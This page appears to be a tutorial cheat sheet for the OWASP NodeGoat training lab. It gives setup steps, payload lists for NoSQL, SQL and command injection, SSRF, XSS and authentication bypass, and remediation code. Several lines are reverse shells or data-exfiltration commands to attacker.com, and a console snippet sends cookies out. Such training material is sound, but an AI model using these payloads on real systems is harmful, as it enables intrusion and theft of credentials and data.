Ir al contenido

NodeGoat

OWASP NodeGoat is a Node.js web application intentionally built with security vulnerabilities. It demonstrates how Node.js/Express applications can be vulnerable to injection attacks, XSS, SSRF, and authentication bypass, with remediation examples.

Installation and Setup

Docker Installation

# Clone repository
git clone https://github.com/OWASP/NodeGoat.git
cd NodeGoat

# Build Docker image
docker build -t nodegoat .

# Run container
docker run -p 4000:4000 nodegoat

# Access at http://localhost:4000

Local Installation

# Install Node.js 12.x or higher
# https://nodejs.org/

# Clone repository
git clone https://github.com/OWASP/NodeGoat.git
cd NodeGoat

# Install dependencies
npm install

# Run in development mode
npm start

# Access at http://localhost:4000

# Or run in production mode
npm run start:prod

Docker Compose

version: '3'
services:
  nodegoat:
    build: .
    ports:
      - "4000:4000"
    environment:
      - PORT=4000
      - NODE_ENV=development
    volumes:
      - ./:/opt/nodegoat
docker-compose up

Application Navigation

Main Pages

# Home: http://localhost:4000
# Profile: User profile page
# User Info: View/edit user information
# Admin: Administrative panel (if authorized)
# Redirect: Redirect functionality
# Upload: File upload
# Benefit Calculator: Interactive form

Default Credentials

# Admin account often available
# admin / admin123
# test / test

# Or create new account via signup

Vulnerability Categories

Injection Attacks

TypeImpactDifficulty
NoSQL InjectionDatabase compromiseBeginner
SQL InjectionData theftIntermediate
Command InjectionRCEIntermediate
LDAP InjectionAuthentication bypassIntermediate

NoSQL Injection (MongoDB)

# 1. Authentication bypass
# Username: {"$ne": null}
# Password: {"$ne": null}

# Query becomes: {username: {$ne: null}, password: {$ne: null}}
# This matches any user

# 2. Data exfiltration
# Username: {"$regex": ".*"}
# Returns all users matching regex

# 3. Blind NoSQL injection
# Username: {"$gt": ""}
# Returns users where username > "" (all users)

# 4. Timing-based blind injection
# Username: {$where: "this.username == 'admin' && sleep(5000)"}

# 5. JavaScript execution
# Username: {$where: "this.password == 'pass' || 1==1"}

SQL Injection

# 1. Simple SQLi
' OR '1'='1' --
' OR 1=1 --
admin' --

# 2. UNION-based
' UNION SELECT NULL,NULL,NULL --

# 3. Boolean-based blind
' AND '1'='1
' AND '1'='2

# 4. Time-based blind
' AND SLEEP(5) --

# 5. Data extraction
' UNION SELECT table_name,column_name,3 FROM information_schema.columns --

Command Injection

# 1. Simple command injection
; whoami
| id
|| cat /etc/passwd
& ls -la

# 2. Reverse shell
; bash -i >& /dev/tcp/attacker.com/4444 0>&1

# 3. Data exfiltration
; cat /etc/passwd | curl http://attacker.com/exfil -d @-

# 4. Command substitution
$(whoami)
`id`

# 5. Pipe to commands
| nc attacker.com 4444 -e /bin/sh

Server-Side Request Forgery (SSRF)

SSRF Exploitation

# 1. Access internal services
# http://localhost:4000/redirect?url=http://127.0.0.1:8080

# 2. Bypass authentication
# http://localhost:4000/proxy?target=http://admin-panel:8080/admin

# 3. Access cloud metadata
# http://localhost:4000/fetch?url=http://169.254.169.254/latest/meta-data/

# 4. Port scanning
# http://localhost:4000/ssrf?target=http://127.0.0.1:22
# http://localhost:4000/ssrf?target=http://127.0.0.1:3306

# 5. Read local files
# http://localhost:4000/fetch?url=file:///etc/passwd

# 6. Gopher protocol
# http://localhost:4000/ssrf?url=gopher://127.0.0.1:25

# 7. Dict protocol
# http://localhost:4000/ssrf?url=dict://127.0.0.1:11211

Cross-Site Scripting (XSS)

XSS in Node.js

# 1. Reflected XSS
# In search or user input
<script>alert('XSS')</script>

# 2. Stored XSS
# In user profile or comments
<img src=x onerror="alert('Stored XSS')">

# 3. DOM XSS
# Manipulate JavaScript code
# URL: #<script>alert('DOM XSS')</script>

# 4. Event handler XSS
<body onload="alert('XSS')">
<input autofocus onfocus="alert('XSS')">

# 5. SVG XSS
<svg onload="alert('XSS')">

# 6. Data attribute XSS
<div data="alert('XSS')"></div>

# 7. JSON injection
# Payload: "},"key":"<script>alert('XSS')</script>

# 8. Polyglot XSS
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//

Broken Authentication

Authentication Bypass

# 1. Default credentials
# admin / admin
# admin / admin123
# test / test

# 2. SQL injection in login
' OR '1'='1' --

# 3. NoSQL injection
{"$ne": null}

# 4. Session manipulation
# Extract session token
# Modify in localStorage/cookies

# 5. JWT weaknesses
# Weak secret key
# Algorithm confusion
# None algorithm

# 6. Password reset bypass
# Predictable reset tokens
# User enumeration via email

Insecure Deserialization

Deserialization Attacks

# 1. Pickle gadget chains
# Java serialization exploits
# Node.js: node-serialize vulnerability

# 2. YAML deserialization
# Dangerous YAML.load()
# RCE via object instantiation

# 3. Cookie tampering
# Base64 encoded objects
# Modify role/permissions

# 4. Template injection
# If using template deserialization
# Code execution via templates

Race Conditions

Race Condition Exploitation

# 1. Check-use-check pattern
# Time window between verification and execution

# 2. Create two simultaneous requests
# Burp Intruder: Send requests at same time
# Both bypass single-use token check

# 3. Stock/inventory exhaustion
# Order same item twice before stock decrements

# 4. Balance check bypass
# Transfer money twice before balance updates

Manual Testing Workflow

Reconnaissance

# 1. Explore application
# Click all links and buttons
# Note page parameters

# 2. Examine source code
# View page source (Ctrl+U)
# Check for comments with hints
# Look for API endpoints

# 3. Check API endpoints
# Browser Console:
# fetch('/api/users').then(r => r.json()).then(d => console.log(d))

# 4. Identify user roles
# Check if different roles have different pages
# Try to access admin as regular user

Vulnerability Testing

# 1. Test injection points
# Find form fields
# Test SQLi, NoSQL injection, command injection

# 2. Test XSS
# Profile fields
# Comments/feedback areas
# Search functionality

# 3. Test authentication
# Try default credentials
# Bypass login with injection
# Manipulate session tokens

# 4. Test authorization
# Access admin pages directly
# Modify user ID in URL
# Try IDOR attacks

Burp Suite Integration

Setup and Configuration

# 1. Configure browser proxy to localhost:8080
# 2. Start Burp Suite Community Edition
# 3. Navigate to NodeGoat
# 4. Intercept requests in Proxy tab

# 5. For specific testing:
# Send to Repeater for modifications
# Use Intruder for automation
# Use Scanner for vulnerability detection

Testing Strategy

# 1. Map application in Site map
# Proxy > Site map shows all endpoints

# 2. Test each endpoint for vulnerabilities
# Intruder: Cluster bomb on parameters
# Payload: Special characters for SQLi detection

# 3. Send interesting requests to Repeater
# Modify parameters
# Test different injection vectors
# Observe responses

# 4. Use Scanner for:
# Active scanning of endpoints
# Generating vulnerability report
# Getting proof of concepts

Browser DevTools Techniques

Console Exploitation

// Steal session token
console.log(localStorage);
console.log(sessionStorage);
console.log(document.cookie);

// Access API endpoints
fetch('/api/users')
  .then(r => r.json())
  .then(d => console.log(d));

// Modify localStorage
localStorage.setItem('role', 'admin');

// Execute code
eval('fetch("http://attacker.com/steal?c="+document.cookie)');

Network Tab Analysis

# Monitor API calls
# Check request/response headers
# Identify authentication tokens
# Note error messages with info disclosure

# Look for:
# JWT tokens in headers
# Session cookies
# API endpoints
# Database error messages

Common Vulnerabilities Demonstrated

VulnerabilityModuleExploitation
NoSQL InjectionUser AuthBypass login with {“$ne”: null}
SQL InjectionBenefitsExtract data with UNION queries
XSSProfileStore JS in user profile
SSRFRedirectAccess internal services
Command InjectionAdminExecute OS commands
Broken AccessAdminAccess without permission
Insecure CryptoSessionCrack weak tokens
Information DisclosureError PagesExtract database info

Remediation Examples

Prevent NoSQL Injection

// Vulnerable
User.find({username: req.body.username});

// Fixed - Use schema validation
const mongoose = require('mongoose');
const schema = new mongoose.Schema({
  username: {type: String, required: true},
  password: {type: String, required: true}
});

// Or use parameter types
db.collection('users').findOne({
  username: String(req.body.username)
});

Prevent Command Injection

// Vulnerable
exec('ping ' + req.body.host);

// Fixed - Use execFile with arguments array
const { execFile } = require('child_process');
execFile('ping', [req.body.host], (error, stdout, stderr) => {
  // Handle result
});

// Or use subprocess with shell escaping
const { spawn } = require('child_process');
const child = spawn('ping', [req.body.host]);

Prevent XSS

// Vulnerable
res.send('<p>' + userInput + '</p>');

// Fixed - Escape HTML
const escapeHtml = require('escape-html');
res.send('<p>' + escapeHtml(userInput) + '</p>');

// Or use template engine with auto-escaping
// Handlebars/EJS auto-escape by default
res.render('template', {userInput: userInput});

Best Practices for Learning

  • Complete challenges in order of difficulty
  • Understand each vulnerability type thoroughly
  • Try multiple exploitation methods
  • Study the vulnerable code
  • Review the fixed/remediated code
  • Document your findings
  • Practice regularly
  • Use both automated tools and manual testing
  • Focus on understanding root causes

Resources


Last updated: 2026-03-30